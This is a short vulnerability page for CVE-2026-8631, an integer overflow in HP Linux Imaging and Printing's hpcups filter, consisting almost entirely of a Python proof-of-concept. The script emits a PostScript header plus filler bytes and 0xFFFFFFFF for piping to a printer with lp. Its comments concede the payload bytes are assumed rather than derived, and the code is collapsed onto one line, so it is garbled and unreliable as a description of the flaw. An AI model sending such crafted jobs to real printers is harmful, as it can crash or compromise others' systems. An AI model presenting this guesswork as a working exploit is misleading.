CVE-2026-8631 HP Linux Imaging and Printing软件整数溢出漏洞

# Proof of Concept for CVE-2026-8631 # This script demonstrates the concept of triggering an integer overflow # by sending crafted data to the hpcups filter. # Usage: python poc.py | lp -d <printer_name> import sys def generate_crafted_data(): # Header for a print job header = b"%!PS-Adobe-3.0\n" # Crafted payload designed to trigger integer overflow in hpcups processing # The specific bytes depend on the vulnerable code path analysis # Assuming a large size value causes the overflow in allocation logic overflow_trigger = b"A" * 100 + struct.pack('<I', 0xFFFFFFFF) return header + overflow_trigger if __name__ == "__main__": import struct payload = generate_crafted_data() sys.stdout.buffer.write(payload) sys.stdout.flush()